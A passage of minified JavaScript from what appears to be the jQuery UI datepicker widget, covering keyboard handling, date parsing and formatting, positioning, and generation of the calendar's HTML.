t,a=V(e),i=V.data(e,"datepicker");a.hasClass(this.markerClassName)&&(t=e.nodeName.toLowerCase(),V.removeData(e,"datepicker"),"input"===t?(i.append.remove(),i.trigger.remove(),a.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):"div"!==t&&"span"!==t||a.removeClass(this.markerClassName).empty(),n===i&&(n=null,this._curInst=null))},_enableDatepicker:function(t){var e,a=V(t),i=V.data(t,"datepicker");a.hasClass(this.markerClassName)&&("input"===(e=t.nodeName.toLowerCase())?(t.disabled=!1,i.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):"div"!==e&&"span"!==e||((i=a.children("."+this._inlineClass)).children().removeClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=V.map(this._disabledInputs,function(e){return e===t?null:e}))},_disableDatepicker:function(t){var e,a=V(t),i=V.data(t,"datepicker");a.hasClass(this.markerClassName)&&("input"===(e=t.nodeName.toLowerCase())?(t.disabled=!0,i.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):"div"!==e&&"span"!==e||((i=a.children("."+this._inlineClass)).children().addClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=V.map(this._disabledInputs,function(e){return e===t?null:e}),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(e){if(!e)return!1;for(var t=0;t<this._disabledInputs.length;t++)if(this._disabledInputs[t]===e)return!0;return!1},_getInst:function(e){try{return V.data(e,"datepicker")}catch(e){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(e,t,a){var i,s,r=this._getInst(e);if(2===arguments.length&&"string"==typeof t)return"defaults"===t?V.extend({},V.datepicker._defaults):r?"all"===t?V.extend({},r.settings):this._get(r,t):null;i=t||{},"string"==typeof t&&((i={})[t]=a),r&&(this._curInst===r&&this._hideDatepicker(),t=this._getDateDatepicker(e,!0),a=this._getMinMaxDate(r,"min"),s=this._getMinMaxDate(r,"max"),c(r.settings,i),null!==a&&void 0!==i.dateFormat&&void 0===i.minDate&&(r.settings.minDate=this._formatDate(r,a)),null!==s&&void 0!==i.dateFormat&&void 0===i.maxDate&&(r.settings.maxDate=this._formatDate(r,s)),"disabled"in i&&(i.disabled?this._disableDatepicker(e):this._enableDatepicker(e)),this._attachments(V(e),r),this._autoSize(r),this._setDate(r,t),this._updateAlternate(r),this._updateDatepicker(r))},_changeDatepicker:function(e,t,a){this._optionDatepicker(e,t,a)},_refreshDatepicker:function(e){e=this._getInst(e);e&&this._updateDatepicker(e)},_setDateDatepicker:function(e,t){e=this._getInst(e);e&&(this._setDate(e,t),this._updateDatepicker(e),this._updateAlternate(e))},_getDateDatepicker:function(e,t){e=this._getInst(e);return e&&!e.inline&&this._setDateFromField(e,t),e?this._getDate(e):null},_doKeyDown:function(e){var t,a,i=V.datepicker._getInst(e.target),s=!0,r=i.dpDiv.is(".ui-datepicker-rtl");if(i._keyEvent=!0,V.datepicker._datepickerShowing)switch(e.keyCode){case 9:V.datepicker._hideDatepicker(),s=!1;break;case 13:return(a=V("td."+V.datepicker._dayOverClass+":not(."+V.datepicker._currentClass+")",i.dpDiv))[0]&&V.datepicker._selectDay(e.target,i.selectedMonth,i.selectedYear,a[0]),(a=V.datepicker._get(i,"onSelect"))?(t=V.datepicker._formatDate(i),a.apply(i.input?i.input[0]:null,[t,i])):V.datepicker._hideDatepicker(),!1;case 27:V.datepicker._hideDatepicker();break;case 33:V.datepicker._adjustDate(e.target,e.ctrlKey?-V.datepicker._get(i,"stepBigMonths"):-V.datepicker._get(i,"stepMonths"),"M");break;case 34:V.datepicker._adjustDate(e.target,e.ctrlKey?+V.datepicker._get(i,"stepBigMonths"):+V.datepicker._get(i,"stepMonths"),"M");break;case 35:(e.ctrlKey||e.metaKey)&&V.datepicker._clearDate(e.target),s=e.ctrlKey||e.metaKey;break;case 36:(e.ctrlKey||e.metaKey)&&V.datepicker._gotoToday(e.target),s=e.ctrlKey||e.metaKey;break;case 37:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,r?1:-1,"D"),s=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&V.datepicker._adjustDate(e.target,e.ctrlKey?-V.datepicker._get(i,"stepBigMonths"):-V.datepicker._get(i,"stepMonths"),"M");break;case 38:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,-7,"D"),s=e.ctrlKey||e.metaKey;break;case 39:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,r?-1:1,"D"),s=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&V.datepicker._adjustDate(e.target,e.ctrlKey?+V.datepicker._get(i,"stepBigMonths"):+V.datepicker._get(i,"stepMonths"),"M");break;case 40:(e.ctrlKey||e.metaKey)&&V.datepicker._adjustDate(e.target,7,"D"),s=e.ctrlKey||e.metaKey;break;default:s=!1}else 36===e.keyCode&&e.ctrlKey?V.datepicker._showDatepicker(this):s=!1;s&&(e.preventDefault(),e.stopPropagation())},_doKeyPress:function(e){var t,a=V.datepicker._getInst(e.target);if(V.datepicker._get(a,"constrainInput"))return a=V.datepicker._possibleChars(V.datepicker._get(a,"dateFormat")),t=String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),e.ctrlKey||e.metaKey||t<" "||!a||-1<a.indexOf(t)},_doKeyUp:function(e){e=V.datepicker._getInst(e.target);if(e.input.val()!==e.lastVal)try{V.datepicker.parseDate(V.datepicker._get(e,"dateFormat"),e.input?e.input.val():null,V.datepicker._getFormatConfig(e))&&(V.datepicker._setDateFromField(e),V.datepicker._updateAlternate(e),V.datepicker._updateDatepicker(e))}catch(e){}return!0},_showDatepicker:function(e){var t,a,i,s;"input"!==(e=e.target||e).nodeName.toLowerCase()&&(e=V("input",e.parentNode)[0]),V.datepicker._isDisabledDatepicker(e)||V.datepicker._lastInput===e||(s=V.datepicker._getInst(e),V.datepicker._curInst&&V.datepicker._curInst!==s&&(V.datepicker._curInst.dpDiv.stop(!0,!0),s&&V.datepicker._datepickerShowing&&V.datepicker._hideDatepicker(V.datepicker._curInst.input[0])),!1!==(a=(a=V.datepicker._get(s,"beforeShow"))?a.apply(e,[e,s]):{})&&(c(s.settings,a),s.lastVal=null,V.datepicker._lastInput=e,V.datepicker._setDateFromField(s),V.datepicker._inDialog&&(e.value=""),V.datepicker._pos||(V.datepicker._pos=V.datepicker._findPos(e),V.datepicker._pos[1]+=e.offsetHeight),t=!1,V(e).parents().each(function(){return!(t|="fixed"===V(this).css("position"))}),a={left:V.datepicker._pos[0],top:V.datepicker._pos[1]},V.datepicker._pos=null,s.dpDiv.empty(),s.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),V.datepicker._updateDatepicker(s),a=V.datepicker._checkOffset(s,a,t),s.dpDiv.css({position:V.datepicker._inDialog&&V.blockUI?"static":t?"fixed":"absolute",display:"none",left:a.left+"px",top:a.top+"px"}),s.inline||(a=V.datepicker._get(s,"showAnim"),i=V.datepicker._get(s,"duration"),s.dpDiv.css("z-index",function(e){for(var t;e.length&&e[0]!==document;){if(("absolute"===(t=e.css("position"))||"relative"===t||"fixed"===t)&&(t=parseInt(e.css("zIndex"),10),!isNaN(t)&&0!==t))return t;e=e.parent()}return 0}(V(e))+1),V.datepicker._datepickerShowing=!0,V.effects&&V.effects.effect[a]?s.dpDiv.show(a,V.datepicker._get(s,"showOptions"),i):s.dpDiv[a||"show"](a?i:null),V.datepicker._shouldFocusInput(s)&&s.input.trigger("focus"),V.datepicker._curInst=s)))},_updateDatepicker:function(e){this.maxRows=4,(n=e).dpDiv.empty().append(this._generateHTML(e)),this._attachHandlers(e);var t,a=this._getNumberOfMonths(e),i=a[1],s=e.dpDiv.find("."+this._dayOverClass+" a"),r=V.datepicker._get(e,"onUpdateDatepicker");0<s.length&&d.apply(s.get(0)),e.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),1<i&&e.dpDiv.addClass("ui-datepicker-multi-"+i).css("width",17*i+"em"),e.dpDiv[(1!==a[0]||1!==a[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),e.dpDiv[(this._get(e,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),e===V.datepicker._curInst&&V.datepicker._datepickerShowing&&V.datepicker._shouldFocusInput(e)&&e.input.trigger("focus"),e.yearshtml&&(t=e.yearshtml,setTimeout(function(){t===e.yearshtml&&e.yearshtml&&e.dpDiv.find("select.ui-datepicker-year").first().replaceWith(e.yearshtml),t=e.yearshtml=null},0)),r&&r.apply(e.input?e.input[0]:null,[e])},_shouldFocusInput:function(e){return e.input&&e.input.is(":visible")&&!e.input.is(":disabled")&&!e.input.is(":focus")},_checkOffset:function(e,t,a){var i=e.dpDiv.outerWidth(),s=e.dpDiv.outerHeight(),r=e.input?e.input.outerWidth():0,n=e.input?e.input.outerHeight():0,d=document.documentElement.clientWidth+(a?0:V(document).scrollLeft()),c=document.documentElement.clientHeight+(a?0:V(document).scrollTop());return t.left-=this._get(e,"isRTL")?i-r:0,t.left-=a&&t.left===e.input.offset().left?V(document).scrollLeft():0,t.top-=a&&t.top===e.input.offset().top+n?V(document).scrollTop():0,t.left-=Math.min(t.left,t.left+i>d&&i<d?Math.abs(t.left+i-d):0),t.top-=Math.min(t.top,t.top+s>c&&s<c?Math.abs(s+n):0),t},_findPos:function(e){for(var t=this._getInst(e),a=this._get(t,"isRTL");e&&("hidden"===e.type||1!==e.nodeType||V.expr.pseudos.hidden(e));)e=e[a?"previousSibling":"nextSibling"];return[(t=V(e).offset()).left,t.top]},_hideDatepicker:function(e){var t,a,i=this._curInst;!i||e&&i!==V.data(e,"datepicker")||this._datepickerShowing&&(e=this._get(i,"showAnim"),a=this._get(i,"duration"),t=function(){V.datepicker._tidyDialog(i)},V.effects&&(V.effects.effect[e]||V.effects[e])?i.dpDiv.hide(e,V.datepicker._get(i,"showOptions"),a,t):i.dpDiv["slideDown"===e?"slideUp":"fadeIn"===e?"fadeOut":"hide"](e?a:null,t),e||t(),this._datepickerShowing=!1,(a=this._get(i,"onClose"))&&a.apply(i.input?i.input[0]:null,[i.input?i.input.val():"",i]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),V.blockUI&&(V.unblockUI(),V("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(e){e.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(e){var t;V.datepicker._curInst&&(e=V(e.target),t=V.datepicker._getInst(e[0]),(!(e[0].id===V.datepicker._mainDivId||0!==e.parents("#"+V.datepicker._mainDivId).length||e.hasClass(V.datepicker.markerClassName)||e.closest("."+V.datepicker._triggerClass).length||!V.datepicker._datepickerShowing||V.datepicker._inDialog&&V.blockUI)||e.hasClass(V.datepicker.markerClassName)&&V.datepicker._curInst!==t)&&V.datepicker._hideDatepicker())},_adjustDate:function(e,t,a){var e=V(e),i=this._getInst(e[0]);this._isDisabledDatepicker(e[0])||(this._adjustInstDate(i,t,a),this._updateDatepicker(i))},_gotoToday:function(e){var t,e=V(e),a=this._getInst(e[0]);this._get(a,"gotoCurrent")&&a.currentDay?(a.selectedDay=a.currentDay,a.drawMonth=a.selectedMonth=a.currentMonth,a.drawYear=a.selectedYear=a.currentYear):(t=new Date,a.selectedDay=t.getDate(),a.drawMonth=a.selectedMonth=t.getMonth(),a.drawYear=a.selectedYear=t.getFullYear()),this._notifyChange(a),this._adjustDate(e)},_selectMonthYear:function(e,t,a){var e=V(e),i=this._getInst(e[0]);i["selected"+("M"===a?"Month":"Year")]=i["draw"+("M"===a?"Month":"Year")]=parseInt(t.options[t.selectedIndex].value,10),this._notifyChange(i),this._adjustDate(e)},_selectDay:function(e,t,a,i){var s=V(e);V(i).hasClass(this._unselectableClass)||this._isDisabledDatepicker(s[0])||((s=this._getInst(s[0])).selectedDay=s.currentDay=parseInt(V("a",i).attr("data-date")),s.selectedMonth=s.currentMonth=t,s.selectedYear=s.currentYear=a,this._selectDate(e,this._formatDate(s,s.currentDay,s.currentMonth,s.currentYear)))},_clearDate:function(e){e=V(e);this._selectDate(e,"")},_selectDate:function(e,t){var a,e=V(e),e=this._getInst(e[0]);t=null!=t?t:this._formatDate(e),e.input&&e.input.val(t),this._updateAlternate(e),(a=this._get(e,"onSelect"))?a.apply(e.input?e.input[0]:null,[t,e]):e.input&&e.input.trigger("change"),e.inline?this._updateDatepicker(e):(this._hideDatepicker(),this._lastInput=e.input[0],"object"!=typeof e.input[0]&&e.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(e){var t,a,i=this._get(e,"altField");i&&(a=this._get(e,"altFormat")||this._get(e,"dateFormat"),t=this._getDate(e),a=this.formatDate(a,t,this._getFormatConfig(e)),V(document).find(i).val(a))},noWeekends:function(e){e=e.getDay();return[0<e&&e<6,""]},iso8601Week:function(e){var t,e=new Date(e.getTime());return e.setDate(e.getDate()+4-(e.getDay()||7)),t=e.getTime(),e.setMonth(0),e.setDate(1),Math.floor(Math.round((t-e)/864e5)/7)+1},parseDate:function(t,s,e){if(null==t||null==s)throw"Invalid arguments";if(""===(s="object"==typeof s?s.toString():s+""))return null;for(var a,i,r=0,n=(e?e.shortYearCutoff:null)||this._defaults.shortYearCutoff,n="string"!=typeof n?n:(new Date).getFullYear()%100+parseInt(n,10),d=(e?e.dayNamesShort:null)||this._defaults.dayNamesShort,c=(e?e.dayNames:null)||this._defaults.dayNames,o=(e?e.monthNamesShort:null)||this._defaults.monthNamesShort,l=(e?e.monthNames:null)||this._defaults.monthNames,h=-1,u=-1,p=-1,g=-1,_=!1,f=function(e){e=y+1<t.length&&t.charAt(y+1)===e;return e&&y++,e},k=function(e){var t=f(e),t="@"===e?14:"!"===e?20:"y"===e&&t?4:"o"===e?3:2,e=new RegExp("^\\d{"+("y"===e?t:1)+","+t+"}"),t=s.substring(r).match(e);if(t)return r+=t[0].length,parseInt(t[0],10);throw"Missing number at position "+r},D=function(e,t,a){var i=-1,e=V.map(f(e)?a:t,function(e,t){return[[t,e]]}).sort(function(e,t){return-(e[1].length-t[1].length)});if(V.each(e,function(e,t){var a=t[1];if(s.substr(r,a.length).toLowerCase()===a.toLowerCase())return i=t[0],r+=a.length,!1}),-1!==i)return i+1;throw"Unknown name at position "+r},m=function(){if(s.charAt(r)!==t.charAt(y))throw"Unexpected literal at position "+r;r++},y=0;y<t.length;y++)if(_)"'"!==t.charAt(y)||f("'")?m():_=!1;else switch(t.charAt(y)){case"d":p=k("d");break;case"D":D("D",d,c);break;case"o":g=k("o");break;case"m":u=k("m");break;case"M":u=D("M",o,l);break;case"y":h=k("y");break;case"@":h=(i=new Date(k("@"))).getFullYear(),u=i.getMonth()+1,p=i.getDate();break;case"!":h=(i=new Date((k("!")-this._ticksTo1970)/1e4)).getFullYear(),u=i.getMonth()+1,p=i.getDate();break;case"'":f("'")?m():_=!0;break;default:m()}if(r<s.length&&(e=s.substr(r),!/^\s+/.test(e)))throw"Extra/unparsed characters found in date: "+e;if(-1===h?h=(new Date).getFullYear():h<100&&(h+=(new Date).getFullYear()-(new Date).getFullYear()%100+(h<=n?0:-100)),-1<g)for(u=1,p=g;;){if(p<=(a=this._getDaysInMonth(h,u-1)))break;u++,p-=a}if((i=this._daylightSavingAdjust(new Date(h,u-1,p))).getFullYear()!==h||i.getMonth()+1!==u||i.getDate()!==p)throw"Invalid date";return i},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*60*60*1e7,formatDate:function(t,e,a){if(!e)return"";function i(e,t,a){var i=""+t;if(l(e))for(;i.length<a;)i="0"+i;return i}function s(e,t,a,i){return(l(e)?i:a)[t]}var r,n=(a?a.dayNamesShort:null)||this._defaults.dayNamesShort,d=(a?a.dayNames:null)||this._defaults.dayNames,c=(a?a.monthNamesShort:null)||this._defaults.monthNamesShort,o=(a?a.monthNames:null)||this._defaults.monthNames,l=function(e){e=r+1<t.length&&t.charAt(r+1)===e;return e&&r++,e},h="",u=!1;if(e)for(r=0;r<t.length;r++)if(u)"'"!==t.charAt(r)||l("'")?h+=t.charAt(r):u=!1;else switch(t.charAt(r)){case"d":h+=i("d",e.getDate(),2);break;case"D":h+=s("D",e.getDay(),n,d);break;case"o":h+=i("o",Math.round((new Date(e.getFullYear(),e.getMonth(),e.getDate()).getTime()-new Date(e.getFullYear(),0,0).getTime())/864e5),3);break;case"m":h+=i("m",e.getMonth()+1,2);break;case"M":h+=s("M",e.getMonth(),c,o);break;case"y":h+=l("y")?e.getFullYear():(e.getFullYear()%100<10?"0":"")+e.getFullYear()%100;break;case"@":h+=e.getTime();break;case"!":h+=1e4*e.getTime()+this._ticksTo1970;break;case"'":l("'")?h+="'":u=!0;break;default:h+=t.charAt(r)}return h},_possibleChars:function(t){for(var e="",a=!1,i=function(e){e=s+1<t.length&&t.charAt(s+1)===e;return e&&s++,e},s=0;s<t.length;s++)if(a)"'"!==t.charAt(s)||i("'")?e+=t.charAt(s):a=!1;else switch(t.charAt(s)){case"d":case"m":case"y":case"@":e+="0123456789";break;case"D":case"M":return null;case"'":i("'")?e+="'":a=!0;break;default:e+=t.charAt(s)}return e},_get:function(e,t){return(void 0!==e.settings[t]?e.settings:this._defaults)[t]},_setDateFromField:function(e,t){if(e.input.val()!==e.lastVal){var a=this._get(e,"dateFormat"),i=e.lastVal=e.input?e.input.val():null,s=this._getDefaultDate(e),r=s,n=this._getFormatConfig(e);try{r=this.parseDate(a,i,n)||s}catch(e){i=t?"":i}e.selectedDay=r.getDate(),e.drawMonth=e.selectedMonth=r.getMonth(),e.drawYear=e.selectedYear=r.getFullYear(),e.currentDay=i?r.getDate():0,e.currentMonth=i?r.getMonth():0,e.currentYear=i?r.getFullYear():0,this._adjustInstDate(e)}},_getDefaultDate:function(e){return this._restrictMinMax(e,this._determineDate(e,this._get(e,"defaultDate"),new Date))},_determineDate:function(d,e,t){var a,i=null==e||""===e?t:"string"==typeof e?function(e){try{return V.datepicker.parseDate(V.datepicker._get(d,"dateFormat"),e,V.datepicker._getFormatConfig(d))}catch(e){}for(var t=(e.toLowerCase().match(/^c/)?V.datepicker._getDate(d):null)||new Date,a=t.getFullYear(),i=t.getMonth(),s=t.getDate(),r=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,n=r.exec(e);n;){switch(n[2]||"d"){case"d":case"D":s+=parseInt(n[1],10);break;case"w":case"W":s+=7*parseInt(n[1],10);break;case"m":case"M":i+=parseInt(n[1],10),s=Math.min(s,V.datepicker._getDaysInMonth(a,i));break;case"y":case"Y":a+=parseInt(n[1],10),s=Math.min(s,V.datepicker._getDaysInMonth(a,i))}n=r.exec(e)}return new Date(a,i,s)}(e):"number"==typeof e?isNaN(e)?t:(i=e,(a=new Date).setDate(a.getDate()+i),a):new Date(e.getTime());return(i=i&&"Invalid Date"===i.toString()?t:i)&&(i.setHours(0),i.setMinutes(0),i.setSeconds(0),i.setMilliseconds(0)),this._daylightSavingAdjust(i)},_daylightSavingAdjust:function(e){return e?(e.setHours(12<e.getHours()?e.getHours()+2:0),e):null},_setDate:function(e,t,a){var i=!t,s=e.selectedMonth,r=e.selectedYear,t=this._restrictMinMax(e,this._determineDate(e,t,new Date));e.selectedDay=e.currentDay=t.getDate(),e.drawMonth=e.selectedMonth=e.currentMonth=t.getMonth(),e.drawYear=e.selectedYear=e.currentYear=t.getFullYear(),s===e.selectedMonth&&r===e.selectedYear||a||this._notifyChange(e),this._adjustInstDate(e),e.input&&e.input.val(i?"":this._formatDate(e))},_getDate:function(e){return!e.currentYear||e.input&&""===e.input.val()?null:this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay))},_attachHandlers:function(e){var t=this._get(e,"stepMonths"),a="#"+e.id.replace(/\\\\/g,"\\");e.dpDiv.find("[data-handler]").map(function(){var e={prev:function(){V.datepicker._adjustDate(a,-t,"M")},next:function(){V.datepicker._adjustDate(a,+t,"M")},hide:function(){V.datepicker._hideDatepicker()},today:function(){V.datepicker._gotoToday(a)},selectDay:function(){return V.datepicker._selectDay(a,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return V.datepicker._selectMonthYear(a,this,"M"),!1},selectYear:function(){return V.datepicker._selectMonthYear(a,this,"Y"),!1}};V(this).on(this.getAttribute("data-event"),e[this.getAttribute("data-handler")])})},_generateHTML:function(e){var t,a,i,s,r,O,L,R,H,n,d,W,c,o,l,h,u,p,g,_,f,k,E,D,m,U,y,P,z,v,M,b,w=new Date,B=this._daylightSavingAdjust(new Date(w.getFullYear(),w.getMonth(),w.getDate())),C=this._get(e,"isRTL"),w=this._get(e,"showButtonPanel"),I=this._get(e,"hideIfNoPrevNext"),x=this._get(e,"navigationAsDateFormat"),Y=this._getNumberOfMonths(e),S=this._get(e,"showCurrentAtPos"),F=this._get(e,"stepMonths"),J=1!==Y[0]||1!==Y[1],N=this._daylightSavingAdjust(e.currentDay?new Date(e.currentYear,e.currentMonth,e.currentDay):new Date(9999,9,9)),T=this._getMinMaxDate(e,"min"),A=this._getMinMaxDate(e,"max"),K=e.drawMonth-S,j=e.drawYear;if(K<0&&(K+=12,j--),A)for(t=this._daylightSavingAdjust(new Date(A.getFullYear(),A.getMonth()-Y[0]*Y[1]+1,A.getDate())),t=T&&t<T?T:t;this._daylightSavingAdjust(new Date(j,K,1))>t;)--K<0&&(K=11,j--);for(e.drawMonth=K,e.drawYear=j,S=this._get(e,"prevText"),S=x?this.formatDate(S,this._daylightSavingAdjust(new Date(j,K-F,1)),this._getFormatConfig(e)):S,a=this._canAdjustMonth(e,-1,j,K)?V("<a>").attr({class:"ui-datepicker-prev ui-corner-all","data-handler":"prev","data-event":"click",title:S}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(C?"e":"w")).text(S))[0].outerHTML:I?"":V("<a>").attr({class:"ui-datepicker-prev ui-corner-all ui-state-disabled",title:S}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(C?"e":"w")).text(S))[0].outerHTML,S=this._get(e,"nextText"),S=x?this.formatDate(S,this._daylightSavingAdjust(new Date(j,K+F,1)),this._getFormatConfig(e)):S,i=this._canAdjustMonth(e,1,j,K)?V("<a>").attr({class:"ui-datepicker-next ui-corner-all","data-handler":"next","data-event":"click",title:S}).append(V("<span>").addClass("ui-icon ui-icon-circle-triangle-"+(C?"w":"e")).text(S))[0].outerHTML:I?"":V("<a>").attr({class:"ui-datepicker-next ui-corner-all ui-state-disabled",title:S}).append(V("<span>").attr("class","ui-icon ui-icon-circle-triangle-"+(C?"w":"e")).text(S))[0].outerHTML,F=this._get(e,"currentText"),I=this._get(e,"gotoCurrent")&&e.currentDay?N:B,F=x?this.formatDate(F,I,this._getFormatConfig(e)):F,S="",e.inline||(S=V("<button>").attr({type:"button",class:"ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all","data-handler":"hide","data-event":"click"}).text(this._get(e,"closeText"))[0].outerHTML),x="",w&&(x=V("<div class='ui-datepicker-buttonpane ui-widget-content'>").append(C?S:"").append(this._isInRange(e,I)?V("<button>").attr({type:"button",class:"ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all","data-handler":"today","data-event":"click"}).text(F):"").append(C?"":S)[0].outerHTML),s=parseInt(this._get(e,"firstDay"),10),s=isNaN(s)?0:s,r=this._get(e,"showWeek"),O=this._get(e,"dayNames"),L=this._get(e,"dayNamesMin"),R=this._get(e,"monthNames"),H=this._get(e,"monthNamesShort"),n=this._get(e,"beforeShowDay"),d=this._get(e,"showOtherMonths"),W=this._get(e,"selectOtherMonths"),c=this._getDefaultDate(e),o="",h=0;h<Y[0];h++){for(u="",this.maxRows=4,p=0;p<Y[1];p++){if(g=this._daylightSavingAdjust(new Date(j,K,e.selectedDay)),_=" ui-corner-all",f="",J){if(f+="<div class='ui-datepicker-group",1<Y[1])switch(p){case 0:f+=" ui-datepicker-group-first",_=" ui-corner-"+(C?"right":"left");break;case Y[1]-1:f+=" ui-datepicker-group-last",_=" ui-corner-"+(C?"left":"right");break;default:f+=" ui-datepicker-group-middle",_=""}f+="'>"}for(f+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+_+"'>"+(/all|left/.test(_)&&0===h?C?i:a:"")+(/all|right/.test(_)&&0===h?C?a:i:"")+this._generateMonthYearHeader(e,K,j,T,A,0<h||0<p,R,H)+"</div><table class='ui-datepicker-calendar'><thead><tr>",k=r?"<th class='ui-datepicker-week-col'>"+this._get(e,"weekHeader")+"</th>":"",l=0;l<7;l++)k+="<th scope='col'"+(5<=(l+s+6)%7?" class='ui-datepicker-week-end'":"")+"><span title='"+O[E=(l+s)%7]+"'>"+L[E]+"</span></th>";for(f+=k+"</tr></thead><tbody>",m=this._getDaysInMonth(j,K),j===e.selectedYear&&K===e.selectedMonth&&(e.selectedDay=Math.min(e.selectedDay,m)),D=(this._getFirstDayOfMonth(j,K)-s+7)%7,m=Math.ceil((D+m)/7),U=J&&this.maxRows>m?this.maxRows:m,this.maxRows=U,y=this._daylightSavingAdjust(new Date(j,K,1-D)),P=0;P<U;P++){for(f+="<tr>",z=r?"<td class='ui-datepicker-week-col'>"+this._get(e,"calculateWeek")(y)+"</td>":"",l=0;l<7;l++)v=n?n.apply(e.input?e.input[0]:null,[y]):[!0,""],b=(M=y.getMonth()!==K)&&!W||!v[0]||T&&y<T||A&&A<y,z+="<td class='"+(5<=(l+s+6)%7?" ui-datepicker-week-end":"")+(M?" ui-datepicker-other-month":"")+(y.getTime()===g.getTime()&&K===e.selectedMonth&&e._keyEvent||c.getTime()===y.getTime()&&c.getTime()===g.getTime()?" "+this._dayOverClass:"")+(b?" "+this._unselectableClass+" ui-state-disabled":"")+(M&&!d?"":" "+v[1]+(y.getTime()===N.getTime()?" "+this._currentClass:"")+(y.getTime()===B.getTime()?" ui-datepicker-today":""))+"'"+(M&&!d||!v[2]?"":" title='"+v[2].replace(/'/g,"'")+"'")+(b?"":" data-handler='selectDay' data-event='click' data-month='"+y.getMonth()+"' data-year='"+y.getFullYear()+"'")+">"+(M&&!d?" ":b?"<span class='ui-state-default'>"+y.getDate()+"</span>":"<a class='ui-state-default"+(y.getTime()===B.getTime()?" ui-state-highlight":"")+(y.getTime()===N.getTime()?" ui-state-active":"")+(M?" ui-priority-secondary":"")+"' href='#' aria-current='"+(y.getTime()===N.getTime()?"true":"false")+"' data-date='"+y.getDate()+"'>"+y.getDate()+"</a>")+"</td>",y.setDate(y.getDate()+1),y=this._daylightSavingAdjust(y);f+=z+"</tr>"}11<++K&&(K=0,j++),u+=f+="</tbody></table>"+(J?"</div>"+(0<Y[0]&&p===Y[1]-1?"<div class='ui-datepicker-row-break'></div>":""):"")}o+=u}return o+=x,e._keyEvent=!1,o},_generateMonthYearHeader:function(e,t,a,i,s,r,n,d){var c,o,l,h,u,p,g=this._get(e,"changeMonth"),_=this._get(e,"changeYear"),f=this._get(e,"showMonthAfterYear"),k=this._get(e,"selectMonthLabel"),D=this._get(e,"selectYearLabel"),m="<div class='ui-datepicker-title'>",y="";if(r||!g)y+="<span class='ui-datepicker-month'>"+n[t]+"</span>";else{for(c=i&&i.getFullYear()===a,o=s&&s.getFullYear()===a,y+="<select class='ui-datepicker-month' aria-label='"+k+"' data-handler='selectMonth' data-event='change'>",l=0;l<12;l++)(!c||l>=i.getMonth())&&(!o||l<=s.getMonth())&&(y+="<option value='"+l+"'"+(l===t?" selected='selected'":"")+">"+d[l]+"</option>");y+="</select>"}if(f||(m+=y+(!r&&g&&_?"":" ")),!e.yearshtml)if(e.yearshtml="",r||!_)m+="<span class='ui-datepicker-year'>"+a+"</span>";else{for(n=this._get(e,"yearRange").split(":"),h=(new Date).getFullYear(),u=(k=function(e){e=e.match(/c[+\-].*/)?a+parseInt(e.substring(1),10):e.match(/[+\-].*/)?h+parseInt(e,10):parseInt(e,10);return isNaN(e)?h:e})(n[0]),p=Math.max(u,k(n[1]||"")),u=i?Math.max(u,i.getFullYear()):u,p=s?Math.min(p,s.getFullYear()):p,e.yearshtml+="<select class='ui-datepicker-year' aria-label='"+D+"' data-handler='selectYear' data-event='change'>";u<=p;u++)e.yearshtml+="<option value='"+u+"'"+(u===a?" selected='selected'":"")+">"+u+"</option>";e.yearshtml+="</select>",m+=e.yearshtml,e.yearshtml=null}return m+=this._get(e,"yearSuffix"),f&&(m+=(!r&&g&&_?"":" ")+y),m+="</div>"},_adjustInstDate:function(e,t,a){var i=e.selectedYear+("Y"===a?t:0),s=e.selectedMonth+("M"===a?t:0),t=Math.min(e.selectedDay,this._getDaysInMonth(i,s))+("D"===a?t:0),i=this._restrictMinMax(e,this._daylightSavingAdjust(new Date(i,s,t)));e.selectedDay=i.getDate(),e.drawMonth=e.selectedMonth=i.getMonth(),e.drawYear=e.selectedYear=i.getFullYear(),"M"!==a&&"Y"!==a||this._notifyChange(e)},_restrictMinMax:function(e,t){var a=this._getMinMaxDate(e,"min"),e=this._getMinMaxDate(e,"max"),a=a&&t<a?a:t;return e&&e<a?e:a},_notifyChange:function(e){var 